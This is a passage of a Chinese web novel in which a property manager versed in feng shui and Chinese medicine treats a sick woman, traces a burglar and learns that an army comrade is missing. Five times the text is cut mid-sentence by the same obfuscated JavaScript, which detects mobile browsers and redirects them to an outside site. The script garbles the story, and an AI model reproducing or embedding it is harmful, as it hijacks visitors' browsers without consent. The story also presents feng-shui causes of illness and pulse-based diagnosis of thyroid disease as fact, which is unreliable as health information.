“办公室是做重大决策之所在，光线和空气一定要充足，您这采光完全没问题。不过，任何房间宁可小而雅致忌大而无当，只有一张办公桌，两把办公椅，就给人一种“孤君”的观感，对事业的发展有极大的妨碍。另外，我进来的时候，看到您办公室的门正对着对面办公室门，这样会多口舌纠纷，横生枝节而影响工作效率。” 我停顿了一下看了看吴天宇的表情，他正在全神贯注的听，倒是没有不高兴的神态。 于是我又说：“这里最大的问题是，座位正对着办公室大门，门是整个办公室气流和能量的出进口，正对会被入门的气场冲到，影响一个人的潜意识、神经系统，导致脾气火爆或无故生病的情况。 吴天宇急急的问道：“这个情况如何化解呢？我确实是一直感觉不妥，但是哪里不妥又说不上来。” “化解的方法是在门口立一座屏风或摆放植物，办公桌的位置换到进门处的右边，后背为窗改为后背是墙。人的后脑为脑波放射区，也是人体感应气场最敏感的部位之一；所以，办公座位的后方最好是固定、不动的东西，以免耗费能量，影响工作效率和健康。” 吴天宇流露出赞许的神情，“老林，你果然招了一名得力的干将。老板之前聘请的大师也说过这个问题，他们的说法高度一致。” 我一愣，原来真的是在考我啊！ 第十一章 疗愈久病不愈 林皓顺着吴天宇的夸赞又聊了很多我的事迹，我在下面用脚轻轻碰了碰他，我真的不想被人尽皆知，我现在的水平差远了。 林皓感知到了我的诉求，话锋一转，问：“吴总，您今天找我们来主要是因为表扬信？” 吴天宇想了想，说：“是我私人有点事情，想请向荣给看看。” 私人的事？我和林皓对视了一眼，林皓接过话茬：“吴总，我和你共事这么多年了，老板创业的时候我们就打配合，撇开同事关系不论，我们早已是朋友，有什么需要帮助的你尽管说，向荣一定尽力的，对不对？向荣。” 我看老林都替我把票拍出去了，我也不能不就坡下驴啊，连忙答应着，“对，吴总，一定尽力！” “那好，晚上得邀请向荣到我家去一趟了。”我和林皓都怔住了，事儿还不小。 晚上我和林皓跟着吴天宇来到他家，他住在一个高档小区的7楼，园区的私密性很强。 一路上走过来，外围的环境和单元楼的设计都不错。 他开了门，邀请我们进去坐，卧室里传出来一个女人的声音，“天宇，你回来啦？” 吴天宇小声和我说：“卧室是我妻子，卧床生病已经三年了，今天请你过来就是想请你给她看看，具体是什么问题。” 吴天宇带我到卧室给她妻子介绍，“老婆，这位是我们集团的吕向荣，他比你小，你称呼他名字就行。他比较擅长你感兴趣的中医，让他给你看看，你这病具体什么原因。” 吴天宇的妻子坐在床上，盖着被子，整个人的精气神差很多，面色无光，下眼睑黑眼圈明显。 “你好，向荣师傅。”她虚弱的和我打招呼。 “您好，您叫我向荣就行。”我最不擅长和女同志说话，尤其还是领导的爱人，拘谨的不知道该坐下还是该站着。 这时候老林走过来，“弟妹，还记得我吗？” “林哥，好久不见，你都挺好的吧？”很明显他们早就认识了。 “都好、都好，这次来集团开会，特意跟天宇过来看看你，你这病，我瞅着怎么比前几年还重了？”林皓关切的问。 这时候吴天宇拿过几把椅子，我们都坐下来，听吴天宇爱人讲起了经过。 原来，吴天宇和他妻子结婚第二年有了一个孩子，但是没满周岁就夭折了。 孩子没了以后，吴天宇的妻子悲伤过度，一开始只是经常流泪，茶饭不思，后来变为精神恍惚。 经常感觉心悸、头晕烦躁，时常和吴天宇发脾气，一会儿高兴了、一会儿又哭了。 发现这些问题以后，她自己买了一些中成药服用调理，吴天宇劝她把身体养好，孩子可以再要。 可是这些症状不但没有减轻，反而越来越严重。 最近这一年更是面容憔悴，浑身疼，有时候引的胁肋也疼，吃不下饭，消化也不好。 整个人从110斤瘦到了80多斤。 吴天宇带着她遍寻各大医院，西医检查过能检查的全部科室、仪器检测，都说没病。 中医望闻问切，没说出太明白的所以然，开了一大堆汤药，也没明显作用。 工作干不了辞了职，要孩子根本提不到议事日程，人的健康都维持不住了，苦不堪言。 我听完以后，给她把了把脉：肝郁化火，累及中土，上扰心神，下灼肾阴。 我给她写了个方子，以滋养肝肾为主，略参疏利，平肝扶脾。 环顾了一下卧室的格局，我又发现了问题，“吴总，您这个卧室的格局也要调整一下。” 吴天宇拿着方子，感兴趣的跟着我，“向荣，你说吧，怎么调？” 我也没再考虑什么，直接就指出了问题： 首先，床头上方的空调要挪位置，这个等于是横梁压头，会影响你们的情绪与健康，事业运亦会受阻； 其次，床旁边这个穿衣镜要挪，会使人睡不安稳，导致头疼、失眠、惊梦。 最后就是主卧这个卫生间，现在床的位置是正对着，卫生间湿气重，空气也不佳，若是长期对着，不仅会影响身体健康，并且对家庭财运也必定有影响。 所谓“浴厕对床，当心恶疾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158079|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”，要么就用屏风遮挡，要么就调换床的位置。 吴天宇听完以后恍然大悟，原来自己家里有这么多不合适的设计。 “老公，向荣说的这些都对，你安排改造吧。另外他开的方子，你拿给我看看。” 吴天宇把方子递给他妻子，然后对我和林皓说：“我老丈人也懂一些中医，70岁以前他得过一场重病，也是遍寻各大医院都查不出什么毛病。后来一个老邻居给他推荐了一个经常去五台山闭关的老头，那老人家一通望闻问切，吃了几幅药吧，现在我老丈人精神状态看着比我都矍铄。” “可惜我爱人病了之后，寻不到这位老人的踪迹了，我看到顾城给集团写的表扬信，就寻思徇个私，让向荣给看看。” 我和林皓恍然大悟，这顾老间接的成就了我一件积德的好事。 “向荣师傅，你这个方子开得好，我这几年精神好一些的时候自己就研究中医，看那些书，所以对一些药理也懂一些 ，我觉得这回我能好。”吴天宇的妻子充满信心的看着我。 这就是我每次治病救人最欣慰的时刻了，患者给的信任就是一枚强大的精神支柱。 “吴总，你先给嫂子喝，服用完这些剂量后，我们再联系，根据那时的情况，我再适度调药。” 我想了想又说：“另外，把夭折孩子的生辰八字写给我，我回去做一个果报的化解。” “好！”吴天宇激动的看着我和林皓，“走吧，我已经安排好晚饭了，这会儿应该都上齐了，我们去吃饭。” “这”我不知道该不该答应，这时候林皓拍拍我，“走吧，恭敬不如从命，以后吴总到了我们那里，再请回来就是了，哈哈哈！” 我们一行三人告别吴天宇的妻子，去饭店吃饭。 吴天宇的妻子在我们走后，持续服用了三个月左右汤药，整个人的精气神都回来了。 白天能自己打扫房间、做家务，晚上还能给吴天宇做饭。 后来，公司被收购，我们各奔前程，听林皓说，吴天宇的老婆给他生了一儿一女，一家人其乐融融。 第十二章 盗窃 从集团参加表彰会回来之后，林皓告诉我，集团有意培养我做物业经理，薪资翻倍。 借调我去锦源小区，做代理物业经理，积累一些工作经验，然后直接晋升。 我很兴奋，短短三年，我实现了从一个保洁员到物业经理的飞跃。 这些跟我自身所学是密不可分的，很感谢自己当年的选择！ 我把这个好消息告诉我妈的时候，她在电话里高兴的不行，还吵吵着让我爸接电话。 我爸总是很内敛的，没表现出多兴奋，只是嘱咐我，“别飘！踏实做人。” 我连忙保证，让他们放心，“儿子一定不给你们丢脸，等我实现了月入过万就接你们到城里一起生活。” 我接手的物业距离林皓很近，但是在地理位置和环境上，完全跟林皓待的楼盘没法比。 锦源小区是曾经的老职工家属院，六层没有电梯，当年辉煌过，现在随着老城区的没落，变成群租房居多。 小区居住密度大，人员流动性大，内部设施陈旧，业主素质参差不齐。 原来是老旧小区没有配备物业的原因，很多业主对物业的突然介入定规矩、守纪律很不理解、且颇有微词，尤其物业费收缴率也是年年倒数。 我报道那天，还发生了一例电瓶车“飞线”充电事故，业主的电动车在雨中充电，因短路引发了事故，电动车完全烧毁，楼道墙面烟熏严重。 物业还受到了消防队的处罚。 我跟林皓说：“林哥，为啥总是把如此烫手的山芋扔给我啊！这么难的题，我怎么做？” 林皓看都没看我，说：“像你这样的选手，给你一些谁都能干的任务，不是浪费么！行了，别跟我搁这磨牙了，赶紧干活去！” 电瓶车飞线还没整改出结果，就出了一个“失窃案”的棘手事件。 失窃的是二号楼业主老何一家，老何爱人生孩子，家里人都跟着去了医院。 在医院住下、一切都安排妥当之后，老何爱人发现有给小婴儿准备的物品没带，就嘱咐自己爸爸回家取。 老何岳父回家取东西时，发现家中大门敞开，挂在客厅的液晶电视不见踪影，房间里的衣服等物品被翻得乱七八糟，一片狼藉。 老何岳父马上意识到家里被盗了，于是立即报了警。 警察到达现场后做了询问和现场勘验检查，但是现场留下的线索有限，没有什么发现。 老何找到物业，急头白脸的跟我喊，让物业承担损失，“我每年都按时交物业费，你们管干嘛的？这么明目张胆的偷窃，你们都没发现？外来人员进出，带着大件，你们不盘问的吗？” “老何，别生气，坐下说，我也是刚上任没几天，你放心，我必须抓紧了解情况，一定配合警察给你一个满意的答复，好不好？”我极力的讨好和安抚。 “不好！就这些东西，说值钱没那么昂贵，说不值钱，那也是我们一点点口挪肚攒的，警察那么多大案要案，我们这个肯定得往后排，我老婆孩子都生完了，天天在家上火，我们等不了，你赶紧给我解决！”老何开始胡搅蛮缠。 “嫂子生孩子了是吧，哎呀这是好事情啊，你可别上火啊，何哥！嫂子如果觉得闷，我帮你想想办法，先帮你解决嫂子闷的问题，抓小偷的事我也时刻跟着，你看行不？” 老何翻翻眼睛，说：“你咋解决啊？我需要电视。” 我一看，只要有需求，那就有门儿，“何哥，你先回家照顾嫂子，容我想想办法。” 劝走了老何，我是要烦死了，我上哪去给他变个电视出来。 这时候手机响了，是王敬之。 “喂，师哥，有何指示？”我有气无力的问。 “哎我说吕向荣，你是不欢迎我找你咋的，这副没有生机的死样子！”王敬之不高兴。 “师哥啊，我正愁着呐，不想和你贫。” “哟呵，能让你吕向荣愁可不容易，咋的了，和我说说。”王敬之想伤口撒盐。 “师哥，你说你是不是假哥哥，我都这样了，你还看笑话呢！”我有点恼了。 “我说你可真是好了，说正事，我来林皓这边找你，你不在，他说你换管片了，你在哪了，告诉我，我去找你！”王敬之要来。 我把地址告诉他以后，继续思考去哪弄个电视，十来分钟王敬之竟然就到了。 “吕向荣，我听说你们这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158080|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里发生盗窃案啦？”王敬之进门就问我。 我幽怨的看了他一眼，“是，咋的？我今年是流年不利，啥烫手的山芋林皓都给我。” “林皓对你那可是信任有加，一见着我就夸你，在他眼里你没有干不成的事儿。” 几句话说的我有点汗颜，是啊，这么点问题就给自己难倒了？ 突然就灵光一现，对啊，我住的宿舍早就想整一台电视，我先买一台二手的，借何哥看，等抓到了贼，再弄回来。 我冲过去给王敬之一个拥抱，“师哥，你说说没有你我可咋办？你一来我这灵感犹如泉涌。” “去去去，俩大老爷们儿抱什么抱。”王敬之嫌恶的推开我。 “师哥，你来找我有啥事？”我才想起来问 他。 王敬之叹了口气说：“向荣啊，师哥确实有事，不过，你只能答应，不能拒绝。” 啥意思？这还霸王条款呢，我有点心虚的看着王敬之，示意他继续说。 “我脖子上这颗痣，你还记得不？” 我看着他那颗很显眼的黑痣，小时候刚认识他的时候，那里就有，我姥爷说那叫苦情痣，说王敬之是前世姻缘未了，这一世要彼此寻找，了却前缘。 我赶紧点头，让我答应跟这颗痣有啥关系？ “师傅在世的时候跟我说，今年我要渡情劫，只有破了情执，我才能更上一层。我在家里每天大门不出二门不迈，咋破？所以我想跟着你，你这物业见的人多，说不定我就找到了。” 我噗嗤一声笑了，“师哥，你可吓死我了，我以为啥事呢，跟着我是好事啊，没事我还能和你逗逗闷子，来吧来吧，热烈欢迎！” 王敬之还要说什么，我拉着他就往外走，“啥也别说啦，先陪我把电视买喽！” 杀到二手市场，我摸摸羞涩的囊中，心想这点钱要是不花，老何这件事肯定压不下去，指不定就把物业给一起告了，反正电视以后也是自己用，血放狠一点吧。 当我和王敬之把电视送到老何家，帮着挂上墙的时候，我看到老何的面目表情松动了。 这该死的盗窃犯，敢在我的眼皮子下边搞事情，我一定逮住你！ 第十三章 电子门锁 抓盗窃犯第一件事仍旧从业主档案和外来人员入手，我把一个月内的监控都看了个遍，看的眼睛都发花了。 确实，老何家被盗那天，来了一个搬家公司的车，门卫只记录了一个车牌号，我怀疑车号也是假的。 我把车牌号提供给警察以后，当天下午就给我反馈了，是辆套牌车。 业主档案、外来人员都查完以后，毫无收获，我陷入无限的焦虑中。 老何还时不时的来物业给我加码，总说要去起诉，让物业赔偿，我是好话说尽，没嘛用。 王敬之看我焦虑的要抓头发了，决定帮我安抚住老何，我瞅瞅他，连我都整不明白，他能整明白？ “你还别小看我，我虽然不明白物业那点事，但是我明白的事他一定感兴趣。”王敬之还挺自信。 隔了没两天，老何又来了，一进门就坐下要水喝，我可真是服了。 “何哥，最近单位不忙啊？嫂子身体恢复的怎么样？你家那大胖小子老可爱了吧？” 我一边倒水一边问，找话茬跟他聊家常，省的他用小绳提溜我。 “我说吕经理，这院子里你都查没查全啊？我听说我后边三号楼的小丁家都被盗好几次了，因为丢的东西价值不高，她都没报案。”老何透露了一个重要信息。 “啥？你说三号楼6楼的丁一彤吗？”我惊诧的问。 “对，就她，我也是听跳广场舞的王大妈说的，你还得去调查调查，万一跟来我家的是一拨人呢？那可就是盯上咱们锦源啦！”老何还挺八卦。 “还有啊，吕经理，我那个事”没等他说完王敬之就走过来了。 “何哥，我是吕向荣哥哥，听说你家生了个大胖小子啊？这个月份出生的男孩，可是富贵命啊！好的嘞！” 我看着王敬之那夸张的样子，差不点把嘴里刚喝的水喷出来。 “真的啊？你怎么知道的？你是做啥工作的？”老何明显被吸引住了。 “我很热衷于研究这些，对这些命理啥的稍微懂点皮毛。”王敬之还挺谦虚。 “噢，大师啊！如果真如大师所说，我儿子有这造化，那可是天大的好事啊！”老何的情绪一下子就被调动起来了。 “定是，我不打慌语。而且他出生那天你家被盗，破财消灾。” 王敬之一语点醒梦中的老何，他拍了一下脑门，给王敬之作了个揖，走了，而且再也没来过。 “师哥，你这，咋学的这么不厚道呢！咋能这么糊弄人呢！”我瞅瞅王敬之。 “瞎说！我咋糊弄他了？” “你刚刚说人家孩子那些话，有啥根据？”我不服。 “天机不可泄露，你管那么多！我都说了我不打慌语，你竟然不信任我，亏得我给你解决了这么一个麻烦。”王敬之不乐意了。 我一想也是，过程虽然曲折，结局却是我想要的。 师哥，我不和你唠了，我得去打听打听，孙一彤家被盗的事是不是真的。 出了物业办公室，看看时间正是中庭那边大爷大娘们跳舞的时间，我去会会王大妈。 距离目的地还挺远呢，我就听见那音乐声咣咣的，老high了，看来退休的生活也挺好，等我把我爸妈接来，也让他们跳，嘿嘿嘿。 正想着，离老远就看见王大妈了，那身姿真不是盖的。 我一边蹲在那看，一边跟王大妈打拍子，王大妈明显是看到了我，还有点不好意思。 一曲终了，王大妈笑哈哈的走过来，“吕经理，你这是找我有事吧？” “王大妈好眼力，属实啊，想找您打听点事。”我准备切入主题。 “问丁一彤的事儿？”王大妈的表情可真丰富，不愧是跳舞的。 我用力的点头表示就是问这个。 “这事儿可是千真万确啊，我是听她亲口说的。她有一阵在家里总是找不到东西，起先以为是放错了位置，直到有一天看见自己家里有个身影，正快速逃走，才知道是遭遇了入室盗窃。” “啊？怎么能呢？细节咋回事？大妈，你给我详细说说。”我着急的问。 “细节啊，细节你得问丁一彤，我可不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158081|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 这时候正好又开曲儿了，王大妈扭扭哒哒的又去跳舞了，得，我还不如直接找丁一彤呢！ 丁一彤住的单元楼在小区的最后一排，相对安静，她是独居，一个姑娘家也太马虎了，家里常进贼竟然不知道？ 想想也怪后怕的，万一这贼既贪财又劫色可咋整？ 我一直在单元楼门口等到丁一彤下班回来，看她穿的既时尚又亮眼的就过来了。 “小丁，下班啦？”我赶紧走过去打招呼。 “吕经理，是啊，我刚下班。你，这是在等我？”小丁文质彬彬的。 “是呢，我等你很久了。我听说你家最近被盗了，有这事吗？” “啊王大妈的嘴真快！”小丁抱怨。 “哎，我说小丁，你可不能马虎啊，丢点钱倒是小事儿，人身安全可是大事。你为什么要隐瞒呢？”我很好奇。 “我每天上班挺忙的，这房子是我租的，实话说，我怕房东知道事儿多，今儿让我换这个、明 儿又让我换那个，我哪有时间啊！”小丁终于说出了心里话。 “小丁，你和我说说，我最近抓坏蛋呢，必须把这个贼给抓着，到时候你也安心了。” 丁一彤眨巴眨巴大眼睛，想了想把事情给我讲了一遍。 原来，小丁家的门锁是电子门锁，她入住后一直没有修改密码。 直到有一天，她发现自己的手机、手链等物品总是找不到，以为是自己随手扔到什么地方去了，就没有再刻意翻找。 老何家被盗前半个月，小丁在家中看电视，忽然听到电子门锁发出了声响，应该是有人进来了，她壮着胆子来到客厅，只见一个人影飞快的从大门蹿了出去。 这件事发生后，她吓坏了，赶紧修改了门锁密码，自此以后就再也没发生丢东西的事情，她也就逐渐放松了警惕。 听说老何家被盗了才想起来，正好遇见正在院子里八卦的王大妈，她就顺嘴说了一句自己家也被盗过。 原来是这样，这么说，谁知道小丁家的密码锁，谁就可疑啊！ 第十四章 消失的刘才东 知道小丁家密码的，第一个怀疑对象是房主，其次是上一任租这户房子的人。 也就是说找到了房主，上一任也就能找到。 回到物业办公室，我查了一下业主档案，这家业主是外地号码，也没见过面，不知道啥样人，好不好说话。 而且我还不能让他知道小丁这事，免得给人家姑娘找麻烦。 思来想去，有了主意。 “喂，您好，我是锦源物业的物业经理，您是郑先生吧？”我自报家门。 “是我啊，物业经理？我们家物业费都缴足了呀，找我做什么？”郑先生南方口音。 “是的，是的，不是物业费的事情，是想和您说一下我们要推选业主委员会代表，看看您有没有什么想法？”我扯个慌。 “不行的，我不在b市住的，我常年都在南方这边，那个房子当初买来也就是为了出租的。”郑先生说。 这么说，房主作案的可能性不大，作案时间不具备。 “您现在是租给了一个独居的女士是吧？”我又问。 “对啊，我租房都是在公安局备案的，你们问这些做什么？”郑先生很警觉。 “您别误会，我就是确认一下，我们物业也是在为您看好房子啊，免得跑水啊、有其他维修问题啊，找不到人。”我解释。 “有这些事你们直接找我那个房客就行，那个姑娘还是挺干净的，房子应该也错不了。” “郑先生，您这个房子是首次出租吗？我听说之前不是一个女的住呢。”我套他话。 “是首次啊，没租过别人，她是第一份，她当时找房子的时候也是要找新装修、首次出租的。你们一定是搞错了。” “原来这样，行，那没什么事了，打扰了。”我跟郑先生表示完歉意就挂断了电话。 看来这两个可疑对象都不是，那会是谁呢？还得再问问丁一彤，有谁有可能知道密码。 “向荣，你在那想就能想出结果啦？走，我俩出去溜溜，说不定能有发现。” 王敬之一边说一边拽着我往外走。 “师哥，这都7点多了，外面乌漆嘛黑的能发现啥啊？”我不愿意去。 “走吧，万一发现了呢！再这样下去，我怕你把头发薅秃了。” 我们先去了老何家楼下，又走到丁一彤家楼下，走了两个来回，我和王敬之不约而同的发出了疑问。 他们两家的直线距离很近呐，而且从老何家出来，不到3、400米就是小区西门。 “向荣，每一个出入的人，你们物业都记录吗？”王敬之问我。 我点头，然后说：“除非保安失职，或者来的人不需要记录。” 最后一句话把我自己都点醒了，对啊，外来人员记录本上没发现异常不代表人没问题。 我决定回去问问当班保安，那几天有谁来过、却没记录的。 这一问，还真问着了，当班保安说，老何家被盗那几天，之前离职的保安秦伟来过，说是回来看看哥几个，就没记录。 我一拍桌子，“就是他了！” “你为什么那么肯定？”王敬之问我。 “保安是有机会帮业主搬东西上楼的，知道门锁密码是很容易的事，只要丁一彤能认定他帮她搬过东西，那就八九不离十。”我解释。 当天晚上我就去找了丁一彤，“小丁，这个人你认识不？”我递给他秦伟的照片。 “认识啊，他人挺好的，还帮我搬家。每次在门口遇到了，都和我打招呼。” “他有来过你家？那他是不是看到过你输门锁密码开门？”我问。 小丁想了想说：“应该是看到了，当时他把搬的东西放到地上休息来的，能看到我输密码开门。难道进屋偷我东西的是他？哎，你还别说，就那天跑出去那个身材还真像他。” 丁一彤这么一确定，我更加确信秦伟有问题。 第二天我给警察打了电话，把这件事做了反映，警察立刻开始找人。 经过一个多月的排查和布控，最后终于在一家洗浴中心按住了秦伟。 一开始的时候他拒不认罪，说自己没做过，警察看他不老实，直接把他雇佣黑车、到市场售卖赃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158082|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物的证据拿给他看。 这家伙立刻蔫了，交代了自己利用当物业保安的便利条件，入室盗窃老何和小丁家的经过。 盗窃犯抓住以后，老何家的电视被追回来了，虽然还是有其它损失，但是因为有王敬之做的“前期工作”，老何很高兴的把我的电视给送了回来。 “吕经理啊，你是能人啊！好人啊！我跟你讲，你就在我们锦源噢，不许去别处管物业，我就相信你，有你的地方那肯定是安居乐业。”说完还拍着我的肩膀哈哈笑。 老何的话说的我有点飘飘然，但是表面上我还是谦虚的告诉老何过奖了。 其实就是一种成就感，而且这种来自于工作上的成就感让我欲罢不能。 王敬之看我心里美滋滋、脸上还要不被看出来的样子，用眼神鄙视我，我刚想给他两句，这时候手机响了。 我拿出手机，一看是一个很陌生的号码，谁呢？ “喂，请问找哪位？ ”对面特别安静的一个环境，我立刻起疑。 “你是谁？你跟刘才东是什么关系？”一个浑厚的男中音问我。 “你这个人好奇怪，你给我打电话，还问我是谁？你先说说你是谁？”我被弄的很郁闷。 “我是b市刑警队的，刘才东失踪了，他的手机里有你发的短信息，你是他朋友？”对方自报家门。 什么？刑警队？刘才东真的出事了。 “我是他的战友，他是我班长，他什么时候失踪的？怎么失踪的？”我头大了。 刘才东老实本分的样子又出现在我脑海里，当兵的时候他总是很照顾我，暗里我也把他当大哥一样看待，怎么就出事了呢？ “你明天来刑警队找我吧，我叫林翔。”对方说完挂断了电话。 我瞪着失神的眼睛看着王敬之，心里低落到了极点，我竟然不知道上一次分别就是最后一次见面。 “向荣，什么情况？谁怎么了？你怎么跟丢了魂儿似的。”王敬之关切的问我。 “师哥，我在部队时候的一个好大哥失踪了，我心里有很不好的预感。” 第十五章 辨甲亢 我见到林翔的时候，已经是第二天的傍晚，不是我去的晚，是他傍晚才赶回来。 “您好，我是吕向荣。”我先自我介绍，并主动伸出手跟他握手。 林翔看看我，表现的并不热情，礼貌性的伸手跟我浅浅的握了一下，“等我很久了吧？” 我挠挠头，嘿嘿的笑了笑，“没关系，知道您忙，我今天请了一天假，可以在这多等等您。” 我的谦逊和礼貌，赢得林翔不小的好感，他示意我坐在他对面的椅子上，给我倒了杯水。 “你说你是刘才东的战友，你们认识多久了？关于刘才东，你了解多少？”林翔开门见山。 我心里暗想，这应该算是我被“讯问”了吧，只要是能帮到东哥的，我都尽力。 “刘才东是我当兵时候的班长，他是班里年纪最大的，我是最小的，日常生活和训练中，他都很照顾我，我俩的关系也最好。我们认识的时间，从当兵那年算起，到现在四年多吧，但是退伍后就没见过，偶尔打过一两次电话。我这次从老家出来打工，就是奔他来的，但是一直没联系上人，电话不接，信息不回。” 林翔听完我的叙述，点了一颗烟，猛吸了几口，也不说话，眼睛定定的，我知道他在想事情。 我仔细看着他，多年学习中医的原因，我养成了爱观察别人的习惯。 林翔脸色潮红，身材高挑但是特别瘦，坐在那里沉思的这一会儿额头上已经开始出汗，可是房间里并不热，他拿着烟的手指还微微的颤抖。 “林警官，冒昧的问您一句，你是不是经常性失眠、然后有心悸的问题啊？”我问。 林翔惊愕的抬头看我，“是啊，最近这几个月尤其严重，总是爱饿，吃的不少，但是你看我这瘦的！哎，我们这个工作性质特殊，没办法，等这个案子过去了好好歇歇。” “林警官，你不介意的话，我给你把把脉，看看有没有什么问题。”我跃跃欲试。 “没看出来，你还会这一套，好吧，既然赶上了，你就给我看看吧。”林翔把胳膊伸过来。 果不其然的，林翔的脉象表现为水冲脉、速脉。 “林警官，你这个还真的不能掉以轻心，你是不是平时还有面热，烦躁的问题，爱发脾气。”我继续问。 林翔不是很好意思的点点头，然后又补充：“我这工作，做不到苦口婆心的劝、讲解，我平时面对的都是穷形极恶之徒，要不就是偷奸耍滑的，脾气好那不给我气死。” “林警官，你的工作性质我理解，但是我说的不是这些，这些表面现象恰好反应了身体机能出现了一些问题。” 林翔重视起来，问我：“具体什么情况？你看出什么了？” “我怀疑你是患了甲亢，我给你写个方子，你熬点药喝，调理一下。如果你嫌慢、没时间，也可以去医院做个内分泌检查，按照西医的诊疗方式尽快做治疗。”我回答。 “有这么严重？你就给我捏估两下就给定性了？还神了呢！”林翔明显不信。 我笑了笑，“林警官，今天能认识，也说明我俩有这个缘分，如果你相信我，我就给你写方子，如果你不相信，那你可以去医院做个检查，反正怎样也不要选择置之不理，不然这病会越来越严重。你是警察，我没必要搁你这卖弄或者其它，你说是吧。” 林翔也笑了，没再继续这个话题，而是直接给我讲起了刘才东的案子。 刘才东是郊区一个物业小区的保安队长，在那一片的口碑很不错，业主们也都反应他为人诚信、老实本分，而且热心。 但是一年前，他管的那个小区发生了一起灭门案，现场特别惨烈，一家六口，五具尸体，另外一具没找到。 现场留有刘才东的脚印以及他的生物体征，很多证据都显示他是凶手，可是他和另一具尸体一样，失踪了，找不到了。 林翔看了看我，继续补充：“我们找了一年多，发现了刘才东的手机，技术人员恢复以后，这才发现了你。” 我很震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158083|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊，没想到我和刘才东是同行，更没想到的是，他竟然被牵扯到这么大的一桩案件里去。 我不相信刘才东是灭门案的凶手，我了解他，连一个流浪猫狗都要收留的人，怎么可能去杀人。 但是我又不能这么武断的跟林翔下这个结论，心里很乱，想了想，我问：“刘才东的手机在哪发现的？” “在死去男业主常去的健身中心的更衣柜里发现的。”林翔说。 我更迷糊了，情节很乱，来之前我用奇门遁甲推算过，刘才东已经遇害了。 但是绝对不能说，林翔连我把脉看病都不相信，怎么会相信这些，我决定自己回去查。 “林警官，方便的话，您把刘才东失踪的那个小区的名字告诉我，如果可以讲一讲现场的情况就更好，说不定我能帮到你。”我很诚恳的说。 林翔依旧是怀疑的眼神看着我，想了想，他把刘才东失踪的小区和小区方位告诉了我。 我跟林翔告辞出了刑警队，看看时间还可以，决定先去刘才东失踪的小区转转。 刘才东失踪的小区叫荟萃亭，在b市的最西边，靠近四环，我很纳 闷，在这么偏僻的位置，住的都是些什么样的人。 公交车到了终点站，还要三公里才能到，我很无奈的一路快走，靠着当兵时候锻炼的脚力一路找过去。 这一路上，我发现了问题，周围的地气很差。 “地气”是一个抽象的概念，比如地气好的地方，周围的花草树木生长良好。在地气不好的地方，花草树木没有生长，花不会开放，树木的生长形状也很奇怪。 到了小区周围我发现，这是一大片别墅区，园区里没有其它房型，都是别墅。 地理位置和建筑设计的让人感觉不舒服，罗盘指示附近磁场不明亮。 我怀疑建设之前这里可能是垃圾站或者是火葬场，所以留下大量不干净的磁场。 在这里住的人很难繁荣，久了还会影响身心健康。 第十六章 夜半敲门声 眼看着时间接近最后一班公交了，我没有再进园区，而是选择先回住地再说。我准备白天的时候带着王敬之过来，我们好好看看。 可是这一回去就遇到了一件棘手的事情，足足耽误了半个多月都没再来上这里。 事情不是发生在我现在管理的锦源小区，是发生在林哥那里，我解决跳楼危机的锦绣小区。 有个独居的女业主，连续几天到物业找林哥，要求物业保安重点监护她家，连哭带闹的说有人要杀她。 林哥不堪其扰，又找不到合适的人来解决，就给我打了电话。 “向荣，你那边最近都挺太平的，你来我这里一段时间，我要被人给折磨疯了。” 